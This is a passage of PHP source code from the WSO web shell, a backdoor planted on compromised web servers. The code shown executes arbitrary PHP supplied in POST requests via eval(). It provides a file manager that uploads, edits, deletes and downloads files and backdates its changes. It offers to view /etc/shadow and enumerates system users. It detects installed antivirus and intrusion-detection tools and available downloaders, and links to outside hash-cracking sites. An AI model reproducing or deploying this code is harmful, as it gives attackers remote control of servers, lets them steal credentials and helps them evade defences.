  680.     elseif($s >= 1048576)
  681.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  682.     elseif($s >= 1024)
  683.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  684.     else
  685.         return $s . ' B';
  686. }
  687.  
  688. function wsoPerms($p) {
  689.     if (($p & 0xC000) == 0xC000)$i = 's';
  690.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  691.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  692.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  693.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  694.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  695.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  696.     else $i = 'u';
  697.     $i .= (($p & 0x0100) ? 'r' : '-');
  698.     $i .= (($p & 0x0080) ? 'w' : '-');
  699.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  700.     $i .= (($p & 0x0020) ? 'r' : '-');
  701.     $i .= (($p & 0x0010) ? 'w' : '-');
  702.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  703.     $i .= (($p & 0x0004) ? 'r' : '-');
  704.     $i .= (($p & 0x0002) ? 'w' : '-');
  705.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  706.     return $i;
  707. }
  708.  
  709. function wsoPermsColor($f) {
  710.     if (!@is_readable($f))
  711.         return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  712.     elseif (!@is_writable($f))
  713.         return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  714.     else
  715.         return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  716. }
  717.  
  718. function wsoScandir($dir) {
  719.     if(function_exists("scandir")) {
  720.         return scandir($dir);
  721.     } else {
  722.         $dh  = opendir($dir);
  723.         while (false !== ($filename = readdir($dh)))
  724.             $files[] = $filename;
  725.         return $files;
  726.     }
  727. }
  728.  
  729. function wsoWhich($p) {
  730.     $path = wsoEx('which ' . $p);
  731.     if(!empty($path))
  732.         return $path;
  733.     return false;
  734. }
  735.  
  736. function actionSecInfo() {
  737.     wsoHeader();
  738.     echo '<h1>Server security information</h1><div class=content>';
  739.     function wsoSecParam($n, $v) {
  740.         $v = trim($v);
  741.         if($v) {
  742.             echo '<span>' . $n . ': </span>';
  743.             if(strpos($v, "\n") === false)
  744.                 echo $v . '<br>';
  745.             else
  746.                 echo '<pre class=ml1>' . $v . '</pre>';
  747.         }
  748.     }
  749.  
  750.     wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  751.     if(function_exists('apache_get_modules'))
  752.         wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  753.     wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  754.     wsoSecParam('Open base dir', @ini_get('open_basedir'));
  755.     wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  756.     wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  757.     wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  758.     $temp=array();
  759.     if(function_exists('mysql_get_client_info'))
  760.         $temp[] = "MySql (".mysql_get_client_info().")";
  761.     if(function_exists('mssql_connect'))
  762.         $temp[] = "MSSQL";
  763.     if(function_exists('pg_connect'))
  764.         $temp[] = "PostgreSQL";
  765.     if(function_exists('oci_connect'))
  766.         $temp[] = "Oracle";
  767.     wsoSecParam('Supported databases', implode(', ', $temp));
  768.     echo '<br>';
  769.  
  770.     if($GLOBALS['os'] == 'nix') {
  771.             wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  772.             wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  773.             wsoSecParam('OS version', @file_get_contents('/proc/version'));
  774.             wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  775.             if(!$GLOBALS['safe_mode']) {
  776.                 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  777.                 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  778.                 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  779.                 echo '<br>';
  780.                 $temp=array();
  781.                 foreach ($userful as $item)
  782.                     if(wsoWhich($item))
  783.                         $temp[] = $item;
  784.                 wsoSecParam('Userful', implode(', ',$temp));
  785.                 $temp=array();
  786.                 foreach ($danger as $item)
  787.                     if(wsoWhich($item))
  788.                         $temp[] = $item;
  789.                 wsoSecParam('Danger', implode(', ',$temp));
  790.                 $temp=array();
  791.                 foreach ($downloaders as $item)
  792.                     if(wsoWhich($item))
  793.                         $temp[] = $item;
  794.                 wsoSecParam('Downloaders', implode(', ',$temp));
  795.                 echo '<br/>';
  796.                 wsoSecParam('HDD space', wsoEx('df -h'));
  797.                 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  798.                 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  799.                 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
  800.                     $temp = "";
  801.                     for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  802.                         $uid = @posix_getpwuid($_POST['p2']);
  803.                         if ($uid)
  804.                             $temp .= join(':',$uid)."\n";
  805.                     }
  806.                     echo '<br/>';
  807.                     wsoSecParam('Users', $temp);
  808.                 }
  809.             }
  810.     } else {
  811.         wsoSecParam('OS Version',wsoEx('ver'));
  812.         wsoSecParam('Account Settings',wsoEx('net accounts'));
  813.         wsoSecParam('User Accounts',wsoEx('net user'));
  814.     }
  815.     echo '</div>';
  816.     wsoFooter();
  817. }
  818.  
  819. function actionPhp() {
  820.     if(isset($_POST['ajax'])) {
  821.         WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  822.         ob_start();
  823.         eval($_POST['p1']);
  824.         $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  825.         echo strlen($temp), "\n", $temp;
  826.         exit;
  827.     }
  828.     if(empty($_POST['ajax']) && !empty($_POST['p1']))
  829.         WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  830.  
  831.     wsoHeader();
  832.     if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  833.         echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  834.         ob_start();
  835.         phpinfo();
  836.         $tmp = ob_get_clean();
  837.         $tmp = preg_replace(array (
  838.             '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
  839.             '!td, th {(.*)}!msiU',
  840.             '!<img[^>]+>!msiU',
  841.         ), array (
  842.             '',
  843.             '.e, .v, .h, .h th {$1}',
  844.             ''
  845.         ), $tmp);
  846.         echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  847.     }
  848.     echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  849.     echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  850.     if(!empty($_POST['p1'])) {
  851.         ob_start();
  852.         eval($_POST['p1']);
  853.         echo htmlspecialchars(ob_get_clean());
  854.     }
  855.     echo '</pre></div>';
  856.     wsoFooter();
  857. }
  858.  
  859. function actionFilesMan() {
  860.     if (!empty ($_COOKIE['f']))
  861.         $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  862.     
  863.     if(!empty($_POST['p1'])) {
  864.         switch($_POST['p1']) {
  865.             case 'uploadFile':
  866.                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  867.                     echo "Can't upload file!";
  868.                 break;
  869.             case 'mkdir':
  870.                 if(!@mkdir($_POST['p2']))
  871.                     echo "Can't create new dir";
  872.                 break;
  873.             case 'delete':
  874.                 function deleteDir($path) {
  875.                     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  876.                     $dh  = opendir($path);
  877.                     while ( ($item = readdir($dh) ) !== false) {
  878.                         $item = $path.$item;
  879.                         if ( (basename($item) == "..") || (basename($item) == ".") )
  880.                             continue;
  881.                         $type = filetype($item);
  882.                         if ($type == "dir")
  883.                             deleteDir($item);
  884.                         else
  885.                             @unlink($item);
  886.                     }
  887.                     closedir($dh);
  888.                     @rmdir($path);
  889.                 }
  890.                 if(is_array(@$_POST['f']))
  891.                     foreach($_POST['f'] as $f) {
  892.                         if($f == '..')
  893.                             continue;
  894.                         $f = urldecode($f);
  895.                         if(is_dir($f))
  896.                             deleteDir($f);
  897.                         else
  898.                             @unlink($f);
  899.                     }
  900.                 break;
  901.             case 'paste':
  902.                 if($_COOKIE['act'] == 'copy') {
  903.                     function copy_paste($c,$s,$d){
  904.                         if(is_dir($c.$s)){
  905.                             mkdir($d.$s);
  906.                             $h = @opendir($c.$s);
  907.                             while (($f = @readdir($h)) !== false)
  908.                                 if (($f != ".") and ($f != ".."))
  909.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  910.                         } elseif(is_file($c.$s))
  911.                             @copy($c.$s, $d.$s);
  912.                     }
  913.                     foreach($_COOKIE['f'] as $f)
  914.                         copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  915.                 } elseif($_COOKIE['act'] == 'move') {
  916.                     function move_paste($c,$s,$d){
  917.                         if(is_dir($c.$s)){
  918.                             mkdir($d.$s);
  919.                             $h = @opendir($c.$s);
  920.                             while (($f = @readdir($h)) !== false)
  921.                                 if (($f != ".") and ($f != ".."))
  922.                                     copy_paste($c.$s.'/',$f, $d.$s.'/');
  923.                         } elseif(@is_file($c.$s))
  924.                             @copy($c.$s, $d.$s);
  925.                     }
  926.                     foreach($_COOKIE['f'] as $f)
  927.                         @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  928.                 } elseif($_COOKIE['act'] == 'zip') {
  929.                     if(class_exists('ZipArchive')) {
  930.                         $zip = new ZipArchive();
  931.                         if ($zip->open($_POST['p2'], 1)) {
  932.                             chdir($_COOKIE['c']);
  933.                             foreach($_COOKIE['f'] as $f) {
  934.                                 if($f == '..')
  935.                                     continue;
  936.                                 if(@is_file($_COOKIE['c'].$f))
  937.                                     $zip->addFile($_COOKIE['c'].$f, $f);
  938.                                 elseif(@is_dir($_COOKIE['c'].$f)) {
  939.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  940.                                     foreach ($iterator as $key=>$value) {
  941.                                         $zip->addFile(realpath($key), $key);
  942.                                     }
  943.                                 }
  944.                             }
  945.                             chdir($GLOBALS['cwd']);
  946.                             $zip->close();
  947.                         }
  948.                     }
  949.                 } elseif($_COOKIE['act'] == 'unzip') {
  950.                     if(class_exists('ZipArchive')) {
  951.                         $zip = new ZipArchive();
  952.                         foreach($_COOKIE['f'] as $f) {
  953.                             if($zip->open($_COOKIE['c'].$f)) {
  954.                                 $zip->extractTo($GLOBALS['cwd']);
  955.                                 $zip->close();
  956.                             }
  957.                         }
  958.                     }
  959.                 } elseif($_COOKIE['act'] == 'tar') {
  960.                     chdir($_COOKIE['c']);
  961.                     $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  962.                     wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  963.                     chdir($GLOBALS['cwd']);
  964.                 }
  965.                 unset($_COOKIE['f']);
  966.                 setcookie('f', '', time() - 3600);
  967.                 break;
  968.             default:
  969.                 if(!empty($_POST['p1'])) {
  970.                     WSOsetcookie('act', $_POST['p1']);
  971.                     WSOsetcookie('f', serialize(@$_POST['f']));
  972.                     WSOsetcookie('c', @$_POST['c']);
  973.                 }
  974.                 break;
  975.         }
  976.     }
  977.     wsoHeader();
  978.     echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  979.     $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  980.     if($dirContent === false) {    echo 'Can\'t open this folder!';wsoFooter(); return; }
  981.     global $sort;
  982.     $sort = array('name', 1);
  983.     if(!empty($_POST['p1'])) {
  984.         if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  985.             $sort = array($match[1], (int)$match[2]);
  986.     }
  987. echo "<script>
  988.     function sa() {
  989.         for(i=0;i<d.files.elements.length;i++)
  990.             if(d.files.elements[i].type == 'checkbox')
  991.                 d.files.elements[i].checked = d.files.elements[0].checked;
  992.     }
  993. </script>
  994. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  995. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  996.     $dirs = $files = array();
  997.     $n = count($dirContent);
  998.     for($i=0;$i<$n;$i++) {
  999.         $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1000.         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1001.         $tmp = array('name' => $dirContent[$i],
  1002.                      'path' => $GLOBALS['cwd'].$dirContent[$i],
  1003.                      'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  1004.                      'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  1005.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1006.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1007.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1008.                     );
  1009.         if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  1010.             $files[] = array_merge($tmp, array('type' => 'file'));
  1011.         elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  1012.             $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  1013.         elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
  1014.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1015.     }
  1016.     $GLOBALS['sort'] = $sort;
  1017.     function wsoCmp($a, $b) {
  1018.         if($GLOBALS['sort'][0] != 'size')
  1019.             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  1020.         else
  1021.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1022.     }
  1023.     usort($files, "wsoCmp");
  1024.     usort($dirs, "wsoCmp");
  1025.     $files = array_merge($dirs, $files);
  1026.     $l = 0;
  1027.     foreach($files as $f) {
  1028.         echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1029.             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1030.         $l = $l?0:1;
  1031.     }
  1032.     echo "<tr><td colspan=7>
  1033.     <input type=hidden name=a value='FilesMan'>
  1034.     <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  1035.     <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  1036.     <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  1037.     if(class_exists('ZipArchive'))
  1038.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  1039.     echo "<option value='tar'>Compress (tar.gz)</option>";
  1040.     if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  1041.         echo "<option value='paste'>Paste / Compress</option>";
  1042.     echo "</select> ";
  1043.     if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  1044.         echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
  1045.     echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  1046.     wsoFooter();
  1047. }
  1048.  
  1049. function actionStringTools() {
  1050.     if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1051.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  1052.     if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1053.     if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  1054.     if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1055.     $stringTools = array(
  1056.         'Base64 encode' => 'base64_encode',
  1057.         'Base64 decode' => 'base64_decode',
  1058.         'Url encode' => 'urlencode',
  1059.         'Url decode' => 'urldecode',
  1060.         'Full urlencode' => 'full_urlencode',
  1061.         'md5 hash' => 'md5',
  1062.         'sha1 hash' => 'sha1',
  1063.         'crypt' => 'crypt',
  1064.         'CRC32' => 'crc32',
  1065.         'ASCII to HEX' => 'ascii2hex',
  1066.         'HEX to ASCII' => 'hex2ascii',
  1067.         'HEX to DEC' => 'hexdec',
  1068.         'HEX to BIN' => 'hex2bin',
  1069.         'DEC to HEX' => 'dechex',
  1070.         'DEC to BIN' => 'decbin',
  1071.         'BIN to HEX' => 'binhex',
  1072.         'BIN to DEC' => 'bindec',
  1073.         'String to lower case' => 'strtolower',
  1074.         'String to upper case' => 'strtoupper',
  1075.         'Htmlspecialchars' => 'htmlspecialchars',
  1076.         'String length' => 'strlen',
  1077.     );
  1078.     if(isset($_POST['ajax'])) {
  1079.         WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  1080.         ob_start();
  1081.         if(in_array($_POST['p1'], $stringTools))
  1082.             echo $_POST['p1']($_POST['p2']);
  1083.         $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1084.         echo strlen($temp), "\n", $temp;
  1085.         exit;
  1086.     }
  1087.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1088.         WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  1089.     wsoHeader();
  1090.     echo '<h1>String conversions</h1><div class=content>';
  1091.     echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  1092.     foreach($stringTools as $k => $v)
  1093.         echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1094.         echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1095.     if(!empty($_POST['p1'])) {
  1096.         if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1097.     }
  1098.     echo"</pre></div><br><h1>Search files:</h1><div class=content>
  1099.         <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  1100.             <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1101.             <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1102.             <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1103.             <tr><td></td><td><input type='submit' value='>>'></td></tr>
  1104.             </table></form>";
  1105.  
  1106.     function wsoRecursiveGlob($path) {
  1107.         if(substr($path, -1) != '/')
  1108.             $path.='/';
  1109.         $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  1110.         if(is_array($paths)&&@count($paths)) {
  1111.             foreach($paths as $item) {
  1112.                 if(@is_dir($item)){
  1113.                     if($path!=$item)
  1114.                         wsoRecursiveGlob($item);
  1115.                 } else {
  1116.                     if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
  1117.                         echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
  1118.                 }
  1119.             }
  1120.         }
  1121.     }
  1122.     if(@$_POST['p3'])
  1123.         wsoRecursiveGlob($_POST['c']);
  1124.     echo "</div><br><h1>Search for hash:</h1><div class=content>
  1125.         <form method='post' target='_blank' name='hf'>
  1126.             <input type='text' name='hash' style='width:200px;'><br>
  1127.             <input type='hidden' name='act' value='find'/>
  1128.             <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  1129.             <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  1130.             <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
  1131.         </form></div>";
  1132.     wsoFooter();
  1133. }
  1134.  
  1135. function actionFilesTools() {
  1136.     if( isset($_POST['p1']) )
  1137.         $_POST['p1'] = urldecode($_POST['p1']);
  1138.     if(@$_POST['p2']=='download') {
  1139.         if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  1140.             ob_start("ob_gzhandler", 4096);
  1141.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1142.             if (function_exists("mime_content_type")) {
  1143.                 $type = @mime_content_type($_POST['p1']);
  1144.                 header("Content-Type: " . $type);
  1145.             } else
  1146.                 header("Content-Type: application/octet-stream");
  1147.             $fp = @fopen($_POST['p1'], "r");
  1148.             if($fp) {
  1149.                 while(!@feof($fp))
  1150.                     echo @fread($fp, 1024);
  1151.                 fclose($fp);
  1152.             }
  1153.         }exit;
  1154.     }
  1155.     if( @$_POST['p2'] == 'mkfile' ) {
  1156.         if(!file_exists($_POST['p1'])) {
  1157.             $fp = @fopen($_POST['p1'], 'w');
  1158.             if($fp) {
  1159.                 $_POST['p2'] = "edit";
  1160.                 fclose($fp);
  1161.             }
  1162.         }
  1163.     }
  1164.     wsoHeader();
  1165.     echo '<h1>File tools</h1><div class=content>';
  1166.     if( !file_exists(@$_POST['p1']) ) {
  1167.         echo 'File not exists';
  1168.         wsoFooter();
  1169.         return;
  1170.     }
  1171.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1172.     if(!$uid) {
  1173.         $uid['name'] = @fileowner($_POST['p1']);
  1174.         $gid['name'] = @filegroup($_POST['p1']);
  1175.     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1176.     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1177.     echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1178.     if( empty($_POST['p2']) )
  1179.         $_POST['p2'] = 'view';
  1180.     if( is_file($_POST['p1']) )
  1181.         $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  1182.     else
  1183.         $m = array('Chmod', 'Rename', 'Touch');
  1184.     foreach($m as $v)
  1185.         echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1186.     echo '<br><br>';
  1187.     switch($_POST['p2']) {
  1188.         case 'view':
  1189.             echo '<pre class=ml1>';
  1190.             $fp = @fopen($_POST['p1'], 'r');
  1191.             if($fp) {
  1192.                 while( !@feof($fp) )
  1193.                     echo htmlspecialchars(@fread($fp, 1024));
  1194.                 @fclose($fp);
  1195.             }
  1196.             echo '</pre>';
  1197.             break;
  1198.         case 'highlight':
  1199.             if( @is_readable($_POST['p1']) ) {
  1200.                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1201.                 $code = @highlight_file($_POST['p1'],true);
  1202.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  1203.             }
  1204.             break;
  1205.         case 'chmod':
  1206.             if( !empty($_POST['p3']) ) {
  1207.                 $perms = 0;
  1208.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1209.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1210.                 if(!@chmod($_POST['p1'], $perms))
  1211.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1212.             }
  1213.             clearstatcache();
  1214.             echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1215.             break;
  1216.         case 'edit':
  1217.             if( !is_writable($_POST['p1'])) {
  1218.                 echo 'File isn\'t writeable';
  1219.                 break;
  1220.             }
  1221.             if( !empty($_POST['p3']) ) {
  1222.                 $time = @filemtime($_POST['p1']);
  1223.                 $_POST['p3'] = substr($_POST['p3'],1);
  1224.                 $fp = @fopen($_POST['p1'],"w");
  1225.                 if($fp) {
  1226.                     @fwrite($fp,$_POST['p3']);
  1227.                     @fclose($fp);
  1228.                     echo 'Saved!<br><script>p3_="";</script>';
  1229.                     @touch($_POST['p1'],$time,$time);
  1230.                 }
  1231.             }
  1232.             echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1233.             $fp = @fopen($_POST['p1'], 'r');
  1234.             if($fp) {
  1235.                 while( !@feof($fp) )
  1236.                     echo htmlspecialchars(@fread($fp, 1024));
  1237.                 @fclose($fp);
  1238.             }
  1239.             echo '</textarea><input type=submit value=">>"></form>';
  1240.             break;
  1241.         case 'hexdump':
  1242.             $c = @file_get_contents($_POST['p1']);
  1243.             $n = 0;
  1244.             $h = array('00000000<br>','','');
  1245.             $len = strlen($c);
  1246.             for ($i=0; $i<$len; ++$i) {
  1247.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1248.                 switch ( ord($c[$i]) ) {
